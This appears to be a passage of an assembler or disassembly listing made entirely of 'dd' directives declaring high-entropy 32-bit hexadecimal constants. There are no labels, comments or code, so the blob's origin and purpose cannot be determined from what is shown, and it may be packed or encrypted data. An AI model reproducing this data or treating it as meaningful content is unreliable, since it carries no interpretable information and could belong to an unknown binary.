		dd 83FD010h, 8283E9Ah, 9250481Fh, 9D3B1436h, 21DC0C42h
		dd 116E08C8h, 0DF411891h, 9BF630F1h, 0D40E46DCh, 1049EF75h
		dd 3F04CB49h, 5D0E6F97h, 0F4244E3Bh, 537F285Eh,	0E6EF75F4h
		dd 13A2892h, 0EE10C16h,	53388770h, 1631DA28h, 1854E120h
		dd 1748024h, 16C20C2Dh,	431C4FE1h, 8A47018h, 241854E1h
		dd 2D01749Ch, 0E11CC20Ch, 28A7700Eh, 202D31B4h,	1918ACC2h
		dd 8501AE36h, 9C43B80Ch, 2814CE21h, 208531F6h, 951855B8h
		dd 0D0013519h, 7308B70Ch, 9EC23984h, 2031D028h,	0B2180AB7h
		dd 1BA3419h, 0EE10C16h,	53388770h, 1631DA28h, 1856E120h
		dd 1335719h, 21DC0C42h,	0AE710CEh, 31427B28h, 182ADC20h
		dd 13219CAh, 845B0CE8h,	0E11CC239h, 3168284Fh, 59855B20h
		dd 5D311918h, 700C0B01h, 1053B885h, 91082A9Ch, 86E39B8h
		dd 389139A8h, 35443622h, 12338934h, 2A4A2C32h, 4E101ACh
		dd 14C20B2Dh, 2487128Ch, 50B82021h, 1AE300Ah, 41B10C85h
		dd 8992140h, 9240B23h, 9250394h, 26E45EC8h, 0DE142A72h
		dd 9DB2003h, 80194D11h,	69942B26h, 8D089088h, 0CFAC2D3Dh
		dd 0B60CBAA7h, 3D1090Eh, 688B7D0Ch, 481C3411h, 810A2007h
		dd 67C7400Dh, 1F211109h, 117D095Bh, 25242305h, 0C051265Eh
		dd 0DC08D00Ch, 6D433823h, 0B4091109h, 697A098Bh, 0DC2D97D6h
		dd 0EC0CA0FBh, 0FB79E070h, 0FB80D56Fh, 3C6EB80Fh, 7A5C781Fh
		dd 91BCDE3Dh, 4589AA97h, 0F93818B7h, 7562C460h,	3022725Ah
		dd 13417F77h, 0AD61F965h, 79EC1108h, 0BF70F507h, 68D580B1h
		dd 0A9214EEFh, 36FF5AA4h
		dd 46DB18C4h, 28A4452Ah, 0E067D499h, 0B10C5469h, 14DFC2F8h
		dd 6B1083A8h, 317E3618h, 87200CA3h, 0D3262B7h, 16BA8A0Ch
		dd 0AFB2C6EFh, 22EBB835h, 0CD716666h, 0CAB718B6h, 0BB5069A8h
		dd 51FB673Ch, 0C139D74h, 8E66B368h, 246C552Ch, 5509A307h
		dd 0A2243F0Dh, 6AF85C5Ah, 458444DBh, 8902F620h,	86BCD16Fh
		dd 8627570h, 556F4ADFh,	2210DAA8h, 92637DA4h, 290C8307h
		dd 15B4640Ch, 6C190C67h, 0F56D6879h, 0A228DE61h, 24843FAAh
		dd 376318CFh, 7C4177B8h, 6D2443F2h, 0FBE6F409h,	0DB12C452h
		dd 0C31AE502h, 1A13B38Ch, 9776518h, 0B694CE0Dh,	83084609h
		dd 0BDC27F90h, 654A9D5Ch, 65087A19h, 0BF6105C6h, 2866ACF6h
		dd 6BB7D26Bh, 0EE6A839Ch, 22B6F109h, 633EB432h,	0D1E2DB75h
		dd 5623665h, 0A26C67BAh, 9AF77C10h, 5DE26850h, 0B03341C2h
		dd 37A95EE5h, 956604F2h, 65334944h, 89682424h, 0AE18A044h
		dd 25B5F08Bh, 8A86BEFDh, 9873565Eh, 68612454h, 6D889662h
		dd 5F30552Ah, 0F0A86D09h, 1132B495h, 417B18B1h,	8BC46E64h
		dd 0D0F4305Eh, 18061089h, 9736F26h, 0FBE94E70h,	0A26A14D0h
		dd 3518AB1Bh, 32641B18h, 99436EEBh, 3D186AB8h, 89443636h
		dd 0D1A0680Ch, 0C38D0EBh, 431A61B2h, 4C1B4549h,	998E7EF3h
		dd 0A4194D3Ch, 0C32A6409h, 50106C52h, 73676270h, 1B686F09h
		dd 0EB5A3569h, 45B3C850h, 268D14B4h, 0ACA266ACh, 0BE878E0Dh
		dd 90F97963h, 0E4416409h, 4AB8DCA4h, 24639431h,	999F177h
		dd 7B6D2664h, 92662DB3h, 0B5830979h, 6B6C6E56h,	6C204018h
		dd 6209CC66h, 2482729Eh, 68016414h, 37307834h, 210C4223h
		dd 0A80A6831h, 0A669F088h, 4C389A08h, 0A6DBA430h, 330C4B85h
		dd 0EA7F5C1Bh, 39657A0Ah, 38590C35h, 454D100Eh,	0E6B32E1h
		dd 0A4707810h, 8578B4C6h, 0E138900Ch, 690E454Dh, 0CC145F79h
		dd 19505831h, 990534Dh,	0DC622C24h, 94287995h, 436046F1h
		dd 92085838h, 3EB19254h, 6ACA4979h, 753F9B22h, 99FF75ECh
		dd 782E419Bh, 58333025h, 0B8331864h, 97349BC8h,	7D6A089Ah
		dd 30713020h, 0E4BDC9Eh, 521B5C59h, 508C1ABAh, 0C46A1443h
		dd 6810C9A8h, 0D7106E08h, 6EA40089h, 37114D02h,	0E57B5CB5h
		dd 6C75A881h, 0A508AACAh, 0F9276216h, 22C35F89h, 45CCCEDDh
		dd 0C5E8211Ch, 0C3131479h, 8B4611Eh, 6218545Ah,	0C51D0828h
		dd 886882Dh, 5D527393h,	55199B36h, 51CEC76Ch, 0D294D00h
		dd 3411B30Ch, 8CADF6Bh,	78186795h, 20BAABA6h, 8D6447E3h
		dd 10A8EAACh, 0D910ED88h, 6110486Eh, 56B008A4h,	0A1087255h
		dd 77999C2Eh, 0D326DDAh, 352BF378h, 6D98E0C0h, 327808DAh
		dd 6B08190Ch, 588E661Ch, 0C424964h, 689A0890h, 0E80CA0A8h
		dd 9FB4D08h, 17A12508h,	4B107A08h, 5A02ADDFh, 92F22409h
		dd 0DD36A48h, 431104Ah,	0A2101A06h, 2E935E10h, 241252F4h
		dd 32D289F7h, 0D2155218h, 11E47610h, 4C486547h,	0A56C1199h
		dd 652439D2h, 9B72C2Ch,	8A23865h, 0AACD3894h, 24E44028h
		dd 0A4851914h, 0C7085679h, 2412088Ah, 796B8D02h, 2FCE0888h
		dd 888BC78h, 50937665h,	0CA1C4C3Eh, 10A1086Eh, 0DC2DAE34h
		dd 79640641h, 8669084Ch, 0E6F17C86h, 88A2D58h, 0E6730B3h
		dd 32B973EEh, 70204198h, 0FC78712Dh, 0CADCAC76h, 4B0872D7h
		dd 9B20C0Dh, 70214274h,	28F70892h, 10A30849h, 754A6717h
		dd 66660C73h, 29488306h, 21107A0Ah, 0E738246Ch,	6BEA6F76h
		dd 0BA5E3C71h, 7C62F24Fh, 8A20C2Bh, 0D769F983h,	2D0A6210h
		dd 1047B018h, 0C0A61D7h, 0CC2008E8h, 10D2A884h,	1A6F6F0Fh
		dd 451C13ECh, 0D47E0819h, 370855A4h, 13581169h,	6F510B98h
		dd 0E2EAD608h, 0B9084812h, 2CCC485Ch, 4A08A0FFh, 0A019FB6Dh
		dd 23356C11h, 0CBCF0806h, 0E2087555h, 841A6FDCh, 798AC08Eh
		dd 1710A208h, 0BA636D73h, 0D9EF7C75h, 940C141Bh, 0A50C646Ah
		dd 721094DBh, 486C28D4h, 609963F0h, 79DA10B7h, 0FE7025BCh
		dd 0BE11B51Ch, 0F65F94E3h, 0F7116BB9h, 7832AD29h, 3CFC0C1Bh
		dd 0F2B58E61h, 630881BEh, 28A5D807h, 87A49CEEh,	8BC9CA1h
		dd 48656C63h, 0C4132597h, 0D7E667C2h, 413F3DE1h, 6A10B419h
		dd 0F6231025h, 62113B79h, 7210A179h, 9168DAE7h,	18C26508h
		dd 988E6E6Fh, 1416D149h, 0B8616A87h, 2D279048h,	0C8BC1101h
		dd 52651050h, 0A678206Bh, 0E938228h, 0CAB3F8Eh,	0FEA50821h
		dd 2814A32Ch, 851FB49h,	30C27963h, 0E18E6569h, 1E67D415h
		dd 0D0781F58h, 68969B63h, 495CD606h, 0C8464ECh,	84172A3h
		dd 6E9F6008h, 0CA2DCB3h, 0C6670889h, 6AA8F09Ah,	14C16AF0h
		dd 6E840873h, 656D6161h, 448F3C19h, 0B4986608h,	24106E49h
		dd 6497B668h, 8618D066h, 0AA339654h, 0B810D17Fh, 49504A68h
		dd 502935C2h, 73AE24FFh, 0B85DA8A2h, 0F434EA93h, 8E6C0C2Ch
		dd 9E837884h, 6C736989h, 100EB720h, 8B3056D2h, 69144228h
		dd 8E42852h, 442410A1h,	4D260821h, 87087314h, 65D86F70h
		dd 0B318506Dh, 72284D48h, 0D294EB08h, 51D34467h, 0A6785894h
		dd 0F466D17Ch, 6FC80B97h, 14218C67h, 79506D1Ch,	6529B3D0h
		dd 4546B808h, 4010AC3Eh, 8C6B11CCh, 0B296627Ah,	0ABC40EADh
		dd 0A1CC6670h, 4C496D69h, 659818B2h, 0CBC46CFFh, 351A6218h
		dd 10ED7D74h, 426374FCh, 0E7B94168h, 72082285h,	2A61824Ah
		dd 0DAC46C7Ah, 0F5837010h, 105311BDh, 783C857Ah, 0B85CB086h
		dd 5B088B20h, 0C240296Fh, 660C0B32h, 0E149B23Ch, 8E75478h
		dd 210C147Ah, 6D626E6Fh, 8DBC3B61h, 0C410A0FEh,	0A2986084h
		dd 940892D0h, 434B5C21h, 5E08430Ch, 116261FDh, 34937762h
		dd 4294FBC5h, 295B68F9h, 6930C2B0h, 2108A670h, 88A7676Eh
		dd 5E38C796h, 0C19CC39h, 21BF40A6h, 117A4F0Ch, 0C6427D6Bh
		dd 0A8642308h, 942486E1h, 3208210Ah, 0CF96FA2h,	18DD176Eh
		dd 6CE50809h, 10856118h, 5C9CD06Bh, 0CB46898h, 0C508F76Bh
		dd 0CCA84908h, 6908E814h, 23BFE588h, 88082114h,	69E27963h
		dd 67843B65h, 724979F4h, 4ABCB4D9h, 20952BECh, 6E2A703Ch
		dd 0A655BC74h, 680CC86Fh, 0FC1BAF08h, 2774F5C7h, 0DDF38F18h
		dd 160C09C4h, 108AB008h, 11B1C551h, 240D7261h, 77566FEDh
		dd 0F9D07CC4h, 4EFC46A9h, 0A47AA5FCh, 7F789508h, 0BBD70883h
		dd 3F11F72Dh, 5A188811h, 0D008EC10h, 7264C710h,	2CF34A98h
		dd 79A93DECh, 48562544h, 8C80C68h, 6DA26447h, 0E68A1279h
		dd 0A8EC27B5h, 0CC918D7h, 0CF9410ACh, 0BC3E6E0Fh, 0E0A424D1h
		dd 6110CDE8h, 82181791h, 8927566h, 6DF0C966h, 0E35449FDh
		dd 853827BDh, 767C96Fh,	0BC389A08h, 1C886927h, 0AB206808h
		dd 8959BC90h, 40533B9Eh, 40A2114Fh, 3F2C9178h, 9D230851h
		dd 0C5661069h, 4975F5F1h, 9AE83D30h, 0F1624C10h, 10688A27h
		dd 766C1789h, 70491988h, 0CAC770Ch, 0E0BE2884h,	0E9201021h
		dd 11797434h, 2D2A48F5h, 0A92C096Ch, 59BC4024h,	6668C918h
		dd 6FE1F16Dh, 69E1B459h, 11CC366Bh, 41106152h, 0ABBD65F5h
		dd 10B3F410h, 795E2872h, 30665208h, 875A16Fh, 809BC45h
		dd 8A4A746Ch, 513442D4h, 826A110h, 0B8636B1Fh, 1C632346h
		dd 2434686Eh, 0CBD07865h, 0CB6DC187h, 8486471h,	3B26B82Bh
		dd 74946E9Eh, 50EBD224h, 698F08BBh, 18DA6874h, 104D1156h
		dd 1009CD31h, 2DDE383Ch, 0CC802D6h, 0B44DE84Dh,	0DE6E12Bh
		dd 0F810BBC0h, 86707947h
		dd 59C3724Ch, 51EFD26Ch, 68250809h, 5ECC8262h, 14890C84h
		dd 7DA44D65h, 9D0C48D9h, 7C6778D2h, 8AB6C6F9h, 379C5308h
		dd 68CAAF18h, 0D3106E08h, 835F0C4h, 3B898C37h, 50105FC0h
		dd 6CCF24E3h, 65C80854h, 8E688EBh, 4E106615h, 47110366h
		dd 80EC4B73h, 8B4610DAh, 286411CAh, 33796262h, 0D6E65C1h
		dd 14C9CCE3h, 67E56FE1h, 0AA103946h, 4B081A6Eh,	0C5843B7h
		dd 50806234h, 0D4971008h, 27081244h, 1E08CA80h,	8B18EA65h
		dd 819E5B0h, 0F20978E8h, 29746E02h, 35792AE1h, 0C78A150h
		dd 46B808A1h, 1CDC894Bh, 1DE36C0Ch, 926EA802h, 0F5898A08h
		dd 0C8C9320h, 69230884h, 8ABB206Eh, 96986C60h, 28553CCDh
		dd 404DF361h, 255E10B4h, 4BF8B310h, 0C4963BFCh,	520C74F5h
		dd 74971408h, 48140868h, 6810EC94h, 21449C86h, 766589D8h
		dd 2B978144h, 40288882h, 76A1934Fh, 0C0DB035h, 8E492D33h
		dd 10647042h, 70AF776Fh, 902150D6h, 0D436EB96h,	9A675111h
		dd 18995C39h, 43C63266h, 68641B48h, 81EA542h, 6E77917Bh
		dd 79136327h, 0A1E81041h, 631C085Ah, 699D6150h,	150A2710h
		dd 48CC49BCh, 286C11CEh, 0DF28C979h, 0AE671408h, 7A24E090h
		dd 21106D7Dh, 39C80D9Eh, 0A109A4Ch, 11B50790h, 102E09F1h
		dd 18991449h, 0C277ED62h, 69100888h, 74743492h,	960C3252h
		dd 90C8AA8h, 0E8480D08h, 37C8747Ah, 75940808h, 0A4A493B5h
		dd 2EA0E373h, 0E08D9708h, 90572933h, 39BD5A08h,	0BC0C7229h
		dd 4C1CD2h, 10FF6B36h, 1891FEEDh, 592C4D63h, 944DE372h
		dd 18B27E76h, 11D70C8Ch, 0E7DD50BFh, 0B85E1442h, 4F08D053h
		dd 5E10A911h, 841B9ADh,	3B84B53Ah, 2C0C2C29h, 0AC0CA763h
		dd 8210B523h, 10AB73ECh, 1494F42Dh, 0EB202508h,	0DD4E51F2h
		dd 0A0141960h, 0C6920818h, 0EA28886h, 11D66B64h, 230DD4BFh
		dd 98DF6124h, 18E86F45h, 185C10DAh, 20220868h, 3FE4F6F1h
		dd 0EE6E0881h, 34C51093h, 0B6F86518h, 71116F90h, 744FAF94h
		dd 0D0D4EDFCh, 121ADA0Ch, 70278808h, 0C6CA9BA7h, 0BB6D7B2Ch
		dd 1218B620h, 65C7648Bh, 0C1843476h, 0EF6279C1h, 8908179Dh
		dd 7AEC6029h, 8A5EAE3h,	0CEBC6673h, 104D27BEh, 527C92D6h
		dd 6E5C8230h, 9368F02Ch, 9710349Dh, 0BB089A6Eh,	2A4673BDh
		dd 98AA1063h, 44FBAA29h, 0B4C311B5h, 1A115F78h,	808A598h
		dd 0C4DCA548h, 43B808A1h, 0CE3CD75Fh, 61EA8C16h, 86B0949Fh
		dd 7B089F1Ch, 0DE669E08h, 0C0E56763h, 7F3F1C21h, 92B0D8A6h
		dd 8202594h, 50241094h,	68480822h, 0BD19A690h, 0C85CB7Ah
		dd 0A3636F1Dh, 52A222ECh, 671E1073h, 5042BE75h,	5DFD6FD5h
		dd 26EF4498h, 0DE8210B2h, 18546812h, 1D9F0F2Fh,	0DF2F64E5h
		dd 79237F11h, 8687F2Ch,	6C2764B4h, 64A973C5h, 20C93C9Eh
		dd 944C1446h, 0E28222DEh, 3484081Bh, 91102034h,	6B106559h
		dd 18697CCBh, 69088828h, 0EFA8CF0Ah, 11DB9095h,	246484DFh
		dd 81F3ADA1h, 346B786Fh, 7300936Dh, 0F6585FFh, 0EA7E7008h
		dd 77AECA10h, 0EF8BAF08h, 0AFF94C46h, 2D109344h, 0A4136310h
		dd 7A8D2E4Bh, 0DA8D4A55h, 846610A5h, 4E750BAAh,	0FD0C822Bh
		dd 6495B5C3h, 9016AD18h, 775F970Ch, 7D8D6DD3h, 102A9325h
		dd 0E3940878h, 18B4364Eh, 0E27645Eh, 18E36B84h,	8DCF845Ah
		dd 0B58635B8h, 84A8E08Eh, 0C31C56A4h, 0F3D4759Fh, 796E1674h
		dd 3BD59DC4h, 9CA87935h, 6D0C22E4h, 1035D059h, 1067F4E3h
		dd 776DF46Bh, 71646408h, 8A6D6C63h, 8D78C065h, 9710A0A7h
		dd 52E13A84h, 8916C0Ch,	7418C261h, 65218E68h, 40FAF73h
		dd 4C4308B4h, 6D7AB678h, 49157211h, 0A9977146h,	129CC27Eh
		dd 9537C440h, 0B5E4E4B3h, 47592C78h, 2108450Ch,	3F646ABFh
		dd 288A0C5Ah, 53491008h, 0EC1034ACh, 410F587Ah,	64503308h
		dd 94EA7311h, 0CA1C37BCh, 2C896808h, 57FCA53Bh,	0CA2A08C8h
		dd 7B487053h, 702524A6h, 49670D74h, 1C421233h, 79766108h
		dd 0B0730A6Fh, 841468CDh, 18A514D9h, 5E6C125Dh,	0D950E92Ch
		dd 3B61CA6h, 0F180E425h, 0B69BD028h, 20E03AC7h,	25FD9C61h
		dd 0E5C76C93h, 6AF5B27Ah, 0F634F710h, 6F080837h, 758F21FCh
		dd 8E9A3173h, 18346C53h, 0E05B8017h, 67743D10h,	0D328A672h
		dd 63200E18h, 52A40CD4h, 8A85108h, 87B115Ah, 0A6792C43h
		dd 1022D054h, 2708E9DEh, 10D23E46h, 106920A3h, 736CD782h
		dd 2029089Ah, 886FBF0h,	3F6B3089h, 0CA8DDC37h, 115A266Eh
		dd 0CCA4667Bh, 6B48029Fh, 6308AB79h, 9364787Ah,	6B10B2B4h
		dd 0E4446439h, 0C4289E8h, 0D1C3EC4Bh, 5D84D20Ch, 68F70C77h
		dd 8125A68h, 8221FDEh, 13525896h, 834F50Ch, 1429F8C4h
		dd 0DE610808h, 0E9242613h, 7353B158h, 0EAFA6808h, 5CB40CA3h
		dd 8130C29h, 6E69B972h,	794C340Dh, 0D27B11DFh, 0D91F5E20h
		dd 4AAA0828h, 0A6E8812h, 0F39E7AB2h, 0C5E7114Dh, 0FF7E385Bh
		dd 9C116116h, 0AD084857h, 0C2682661h, 4AD70C9Ah, 710C1259h
		dd 0D077BC78h, 109AA3CCh, 0B3C4241Bh, 591069F8h, 603BADBDh
		dd 451D1148h, 423B3830h, 18732910h, 88A80B4h, 0CA6E1867h
		dd 756B4108h, 180D1973h, 0A3738652h, 46756A08h,	645914ECh
		dd 520CAE7Dh, 0A47B206Eh, 64635310h, 8650A678h,	3EDA9128h
		dd 10090855h, 9BF67525h, 0AEE8DF08h, 56506F74h,	0A85C69E0h
		dd 0B3A4085Fh, 6FF208A2h, 0D4BB10AAh, 5EA01047h, 0C0C1CCDh
		dd 25339968h, 391BB289h, 5BB01143h, 742901ECh, 656B0808h
		dd 637164C4h, 73E91D79h, 0B6541419h, 620844BBh,	0EA677522h
		dd 4320AB69h, 125F18CEh, 199C76D3h, 0DC0814D0h,	0A6182123h
		dd 8A10CD2Ch, 8637004h,	18248634h, 0DB11C713h, 28706B08h
		dd 0E4681446h, 5BDCAB6Bh, 820CA0C0h, 0F1F0EE29h, 0C4AC653Eh
		dd 846027DFh, 7525B474h, 73290CA4h, 61910870h, 11C6FC9Fh
		dd 0D19D6E6Fh, 6164C46Bh, 7BDAB935h, 306208A1h,	68526743h
		dd 3CA67C1Ch, 8E7420CCh, 890CAE62h, 744D6608h, 10DA042Ch
		dd 71FF943Ah, 0EC11B583h, 96879752h, 0F4DD75B5h, 65771892h
		dd 15C51234h, 106F22AFh, 67FCE2D6h, 61F56211h, 6F721002h
		dd 0F120A979h, 6710B336h, 8B10CAC7h, 487B7466h,	8840CA0h
		dd 8873C0CBh, 6165584Bh, 7A74B067h, 10BD8C99h, 73752278h
		dd 4DC07656h, 7EE44314h, 7F207353h, 8A479EEh, 822F3B4h
		dd 705A2886h, 0FD9AFAACh, 50FE101Ah, 62640C68h,	10A22989h
		dd 87351EFh, 109EDFFBh,	6B6C22D7h, 0ABB783FEh, 6897F98Bh
		dd 6408C80Ch, 0CF087765h, 0A9CD6EE8h, 11CE366Ah, 15CEA994h
		dd 5308D10Ch, 0D5837869h, 0B10233A5h, 113B8D74h, 5A6D1660h
		dd 248BD479h, 1308240Ch, 4170F7D0h, 6E08080Ch, 60586746h
		dd 0CFE1092h, 86F149Eh,	959B64DEh, 8900C6Dh, 424C648Ah
		dd 77667965h, 118411DAh, 77186210h, 76F028A4h, 4CAA18A6h
		dd 0F2690819h, 0F134843Bh, 940814C1h, 0E9085D59h, 309B2D38h
		dd 6EA4A4C5h, 0F0846EBh, 4D681089h, 2272E118h, 0FC199A40h
		dd 0CD33E46h, 0A47A1446h, 87ED130h, 0DD10658Eh,	0A4DE6ED0h
		dd 98056B40h, 0A10E8970h, 10344C11h, 9B746B92h,	61628408h
		dd 7963F91Bh, 366B0Dh, 0A4647F10h, 0DA69F030h, 924161FCh
		dd 0EC305463h, 3F964A1Ch, 0AE8F9710h, 2A781014h, 0FE207065h
		dd 0A479E26Eh, 0E8F09D08h, 402F088Ah, 17DE4894h, 82793761h
		dd 0E3647869h, 0DE6810D5h
		dd 0E8856516h, 0EC2F3A5Eh, 0A011D3B0h, 11DF610Fh, 70F77552h
		dd 0B35C937Ch, 288C6E10h, 14B2B769h, 9C080C28h,	43437866h
		dd 80106868h, 307AEECFh, 100476D3h, 801A889Dh, 2170CA4Fh
		dd 4A64BBCh, 0F6C61069h, 74DC11DFh, 11433823h, 10936C69h
		dd 5D7E29D8h, 9296AC73h, 0FCD468AEh, 0AB6518CCh, 76B02D2Dh
		dd 737AAC92h, 10D6D0BAh, 11ADF789h, 1457F712h, 0C48E17Ch
		dd 6508A461h, 24649467h, 8FB5008h, 644922DCh, 8A67928h
		dd 32C21DF5h, 0A2633824h, 1B135FABh, 296F92A6h,	2BA6DD93h
		dd 0C42DC8Bh, 4FC9354Ah, 697F7573h, 0E5EDA078h,	86BC742Eh
		dd 0F09D8971h, 890C8EB9h, 81A46408h, 97D8C974h,	73943D94h
		dd 87A5920Ch, 10170809h, 0AF88F9E9h, 21C86B8Ah,	70641B08h
		dd 6099114Ah, 0AA7507E2h, 65E84E08h, 0C6FD3ECFh, 8C10AA4Bh
		dd 796EC424h, 4ED08B36h, 646B2A08h, 1821B7BEh, 53E56D1Fh
		dd 0F50CA0D8h, 107E084Dh, 5BD34075h, 74B5424Ch,	2508240Ch
		dd 43C0BC1Ch, 546C2A08h, 1CB14FB2h, 8210C48h, 6521F13Fh
		dd 0AF1B2C6Eh, 18DD34CCh, 0B5BFE3EFh, 78650C21h, 63146C3Ch
		dd 778D0C69h, 11F40690h, 484AC782h, 4F180828h, 182F7B1Ah
		dd 6C851014h, 94083770h, 6B08776Fh, 84338EBh, 55643F0Ch
		dd 94AC4408h, 0CDA86729h, 888A1EDh, 18D06E90h, 0B86264C5h
		dd 450C46DAh, 0A5A31508h, 7910A52Eh, 1C5DBCA8h,	0C05410DAh
		dd 5E087915h, 5A08E711h, 8797F0Ah, 897E920h, 936F2450h
		dd 3019E2A1h, 0CD2E500Dh, 440C0900h, 62B4C224h,	380508A9h
		dd 0E1085579h, 8D6D1165h, 811AAA9h, 0E47D1082h,	98488678h
		dd 0B748840Ah, 105AC11Bh, 842E4B9h, 9A671840h, 343E9934h
		dd 4B1BBC10h, 0F3188066h, 102D8DEEh, 10D92578h,	0D69C563h
		dd 949E9517h, 0FE179324h, 5E5EDFA2h, 0B9106A74h, 6610B50Dh
		dd 0FEEF101Dh, 4C644614h, 7A08439Bh, 5E4D0DF3h,	95BC7AE2h
		dd 18CF64CCh, 86AFF75h,	525A734Bh, 34F4F411h, 0AD082448h
		dd 7B259FACh, 6C10321Ch, 8126EEAh, 304A101Ah, 0DF10102Fh
		dd 78D0EBEDh, 8F88B542h, 246CAD10h, 6B6C67F1h, 0B7A04510h
		dd 8164AB18h, 6E2167F1h, 20A7F653h, 246D1965h, 11852608h
		dd 14756124h, 0E1D858C9h, 9D680848h, 197B7C3Bh,	6A3DAABDh
		dd 0A0AFFBA5h, 9563950Ch, 51B7F24Ah, 39BAED6Fh,	76C42F5Fh
		dd 0BA2A6C29h, 0A67CD214h, 4644818h, 187E10DAh,	888F420h
		dd 0DE1656Dh, 85AC314h,	3008289Fh, 97A388A8h, 6F080F9Dh
		dd 0D5921014h, 0C50109Ch, 736412D8h, 108B08A6h,	2CAD61F2h
		dd 143D611Eh, 0C40B8408h, 300850B4h, 8181E9Ah, 0EE866B61h
		dd 6308856Eh, 1B6F9765h, 119ECE90h, 5AA5756Fh, 7919C111h
		dd 199A4069h, 4DFD55FAh, 42E36C0Ch, 4A104308h, 0CA2FE7E5h
		dd 291443B4h, 0B6B40864h, 62B20859h, 0BF98647Fh, 0C64D074h
		dd 30240834h, 0EEA1DA89h, 8410A208h, 2F0882D6h,	593167Dh
		dd 11114A73h, 0A4A280Bh, 0CD587709h, 0E1AC1918h, 42247A6Eh
		dd 1043FDECh, 5748A64Eh, 0AB1069B5h, 3E107357h,	0C40F965Eh
		dd 0DED411D1h, 0BC21F925h, 0C77A4569h, 948D10D3h, 6DC7F6E2h
		dd 42D47810h, 25857F08h, 795253F8h, 7A104508h, 8E8051Fh
		dd 457C28EDh, 0A0842E08h, 0D3D40812h, 0CCB00857h, 0C8659D79h
		dd 56974420h, 7618B270h, 0E5727616h, 2108420Fh,	76D1BE64h
		dd 0DFC66D56h, 0D4E265A9h, 0AB9DC852h, 0A7187B4Bh, 0FC8A145Ah
		dd 891C9475h, 4F67214h,	5BDD557Ah, 0D029D952h, 616B1188h
		dd 0C22963C4h, 4F59D51Bh, 6AD67A0Ch, 5C94759Ch,	0D10C38D0h
		dd 0BD673208h, 2808AB68h, 0AA370802h, 0CE8B8DAh, 6DF408A0h
		dd 0F78A7970h, 7A75A249h, 7818A436h, 0B614A469h, 0F671B5A3h
		dd 8D44A61h, 0BCAC9553h, 0AD2C52A4h, 0C746863h,	75AF63C4h
		dd 0EBA3B5E8h, 680850E5h, 7DF0ED92h, 19DFD4AEh,	0C2E669E1h
		dd 8904CE9Dh, 51C66714h, 0FF733CCBh, 8452A73h, 4D8912C2h
		dd 52B8BFDCh, 9E18D00Ch, 11D10A2Ah, 7D3F9E88h, 0D6546E9Fh
		dd 11BF3618h, 8282ADFh,	40847598h, 106D7ACAh, 797311BCh
		dd 776B597h, 94DE5908h,	3410126Fh, 61F39720h, 0B3796412h
		dd 2DEE6B08h, 804D8C4h,	10E8801Eh, 65556C78h, 2B201918h
		dd 78879150h, 109AEAF1h, 7AFD24CCh, 0F131CD26h,	8A8D372Ah
		dd 0CC4BA5EDh, 5E65AFC4h, 14E29DEAh, 93D8F92Ch,	0F74A05E7h
		dd 581169FCh, 19DA8257h, 9D2E6D0Ch, 690C0358h, 3208238Dh
		dd 62086784h, 5D32676Eh, 1272E085h, 0D3CCEC08h,	945A50BCh
		dd 84081363h, 0BD105049h, 74D27438h, 64081968h,	91D3AD63h
		dd 0C8944A0Ch, 0A1AE0C64h, 80C1986h, 74237208h,	0C4651A79h
		dd 0FC700805h, 6287958Bh, 9975616Ch, 0D2FA6744h, 0A310D683h
		dd 9084155h, 6771FA18h,	28761035h, 0B4688610h, 0BD082169h
		dd 2B964E46h, 0CBD49E10h, 2A2188D5h, 8A911B5h, 9018A24Fh
		dd 79C4901Ch, 4DF114A4h, 5A9A1610h, 2CD92EF1h, 590E11B4h
		dd 5C63A63Ch, 0A0906C34h, 74C2148Bh, 109770AFh,	0AA9780EEh
		dd 5541D201h, 21A3544Ch, 3E41BCA0h, 71C99477h, 0A00822EAh
		dd 0A3686157h, 0AD69CA08h, 5DFAA844h, 18571833h, 77217ED4h
		dd 0C53A76Eh, 20341034h, 644E64A8h, 80C50A7h, 6B30B396h
		dd 0C9D86610h, 84DB6911h, 8220CA1h, 43246353h, 9D34148h
		dd 9DD5162Ch, 74EA637Dh, 1134ACB4h, 451BAD54h, 0BC0C1524h
		dd 410C47D1h, 0E8162E08h, 18AD3B99h, 85C4BC33h,	9EF4FCBEh
		dd 48793D3Bh, 0F1279FB4h, 250C683Fh, 0C4884D9h,	76086515h
		dd 6E43747Ah, 995FC44Eh, 8E18A648h, 0DD3F11CDh,	350C0943h
		dd 0AD0C1DA9h, 0C56DBB2Dh, 0B54B9BBDh, 70C1982h, 6277F308h
		dd 0F12799Ah, 7CD993A5h, 555111A5h, 0B7820822h,	0CDC4141Bh
		dd 0C9D3F79h, 53701408h, 73230879h, 10B754A9h, 0C4325298h
		dd 84C45AF7h, 8DADA08h,	8121432h, 0A50C65F5h, 8B90465Fh
		dd 76801408h, 69DF1461h, 92D72F3Ch, 18082814h, 4887F1A7h
		dd 2F08C80Ch, 0D9CED0Dh, 27657C14h, 48B0F979h, 8586914h
		dd 0C4BF088Bh, 61623173h, 5FA11054h, 1BEE2014h,	104FF6F4h
		dd 8E115C66h, 406B5384h, 66385C46h, 0B49465A9h,	0D018E9B0h
		dd 2C9D5A0Ch, 3D7018A3h, 417AE457h, 0C0CA361h, 66495821h
		dd 3C4EBE45h, 26B46848h, 0AE9D110Ch, 0E9117B3Fh, 6C7D7661h
		dd 79DA189Bh, 0C23F4D4h, 0A51E6325h, 0B5A50812h, 0F7650808h
		dd 69200219h, 4F5C1B57h, 949A1710h, 100C6635h, 5AACEC9Fh
		dd 9CB4A279h, 822142Bh,	0CE170EEh, 0D088AC65h, 0FD935010h
		dd 0DF1C90D4h, 61080829h, 9242E974h, 0A87D0812h, 6CC71425h
		dd 0E83465C4h, 0FE08455Ch, 237C74A9h, 0B889104Dh, 28736C75h
		dd 56A91837h, 4E0848EBh, 9F18D010h, 8E251267h, 415B732h
		dd 0D8B37E32h, 0B55452ADh, 0A8BD5C4Eh, 6EC914F3h, 0A918D0D0h
		dd 9408B868h, 0E6DE1068h, 0EAE45B2Ch, 97104236h, 116B2C9Bh
		dd 0C07A887h, 64B4D0EEh, 0B1102520h, 0FF1017BEh, 111E9A71h
		dd 0AC626408h, 0E2CC99D7h, 0A8F9A09h, 11B7F908h, 0D5146449h
		dd 27DE9410h, 7AA5E0D9h, 0D52FAA33h, 3C841494h,	513D199Ch
		dd 0DE173B3Ch, 0A85E10F6h, 3A957123h, 80C0878h,	1A686362h
		dd 44F22432h, 8011ABE3h, 0DE6D1033h, 0D20C8C84h, 0D1B8E9A4h
		dd 7208400Ch, 0D46582C9h, 0A10CC8C4h, 0DD6E1208h, 6F1899A4h
		dd 8466CE9h, 21A99EF2h
